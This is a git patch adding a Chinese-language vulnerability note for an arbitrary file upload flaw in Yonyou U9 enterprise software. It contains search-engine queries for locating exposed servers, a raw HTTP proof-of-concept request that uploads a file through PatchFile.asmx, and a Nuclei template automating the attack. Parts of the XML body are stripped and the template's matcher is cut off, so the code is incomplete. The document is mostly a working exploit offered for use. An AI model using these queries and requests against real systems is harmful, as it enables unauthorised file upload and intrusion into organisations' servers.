From 40a55442bcdcdea4579d405ac66c758504001cda Mon Sep 17 00:00:00 2001
From: wy876 <139549762+wy876@users.noreply.github.com>
Date: Tue, 30 Jan 2024 19:18:12 +0800
Subject: [PATCH] =?UTF-8?q?Create=20=E7=94=A8=E5=8F=8B=E7=B3=BB=E7=BB=9F-U?=
=?UTF-8?q?9=E4=BC=81=E4=B8=9A=E7=89=88=E5=AD=98=E5=9C=A8=E4=BB=BB?=
=?UTF-8?q?=E6=84=8F=E6=96=87=E4=BB=B6=E4=B8=8A=E4=BC=A0=E6=BC=8F=E6=B4=9E?=
=?UTF-8?q?.md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
---
用友系统-U9企业版存在任意文件上传漏洞.md | 99 ++++++++++++++++++++++++
1 file changed, 99 insertions(+)
create mode 100644 用友系统-U9企业版存在任意文件上传漏洞.md
diff --git a/用友系统-U9企业版存在任意文件上传漏洞.md b/用友系统-U9企业版存在任意文件上传漏洞.md
new file mode 100644
index 0000000..9d5efae
--- /dev/null
+++ b/用友系统-U9企业版存在任意文件上传漏洞.md
@@ -0,0 +1,99 @@
+## 用友系统-U9企业版存在任意文件上传漏洞
+
+## ZoomEye
+```
+app:"用友 U9"
+```
+
+## fofa
+```
+title==" U9-登录 "
+```
+
+
+## poc
+```
+POST /CS/Office/AutoUpdates/PatchFile.asmx HTTP/1.1
+Host: {}
+Cache-Control: max-age=0
+Upgrade-Insecure-Requests: 1
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+Accept-Encoding: gzip, deflate, br
+Accept-Language: zh-CN,zh;q=0.9
+Cookie: .ASPXANONYMOUS=1OJZqnZ03AEkAAAAZGQ2ZDU0NzYtMDdiZS00YWJhLTk2ZTMtNmRhYTgxNDM5OTNi0; ASP.NET_SessionId=md4bw5fgleu1cxfdwk4w0o4n
+Connection: close
+Content-Type: text/xml; charset=utf-8
+Content-Length: 433
+
+
+
+
+
+ VXBsb2FkLXN1Y2Nlc3NmdWxseQ==
+ ./
+ 123.txt
+
+
+
+```
+
+
+文件上传路径
+http://127.0.0.1/CS/Office/AutoUpdates/123.txt
+
+
+
+## Nuclei
+```
+
+id: yonyou-U9-PatchFile-asmx-uploadfile
+
+info:
+ name: yonyou-U9-PatchFile-asmx-uploadfile
+ author: 渗透安全HackTwo
+ severity: high
+
+ description: |
+ 漏洞测试-公众号-渗透安全HackTwo
+ reference:
+ - https://127.0.0.1
+ tags: auto
+
+variables:
+ filename: "{{to_lower(rand_base(10))}}"
+ boundary: "{{to_lower(rand_base(20))}}"
+
+http:
+ - raw:
+ - |
+ POST /CS/Office/AutoUpdates/PatchFile.asmx HTTP/1.1
+ Host:{{Hostname}}
+ Accept-Encoding: gzip, deflate, br
+ Accept-Language: zh-CN,zh;q=0.9b
+ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
+ Content-Type: text/xml; charset=utf-8
+ Connection: close
+
+
+
+
+
+ VXBsb2FkLXN1Y2Nlc3NmdWxseQ==
+ ./
+ {{filename}}.txt
+
+
+
+
+
+ - |
+ GET /CS/Office/AutoUpdates/{{filename}}.txt HTTP/1.1
+ Host: {{Hostname}}
+ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
+
+ matchers:
+ - type: dsl
+ dsl:
+```
+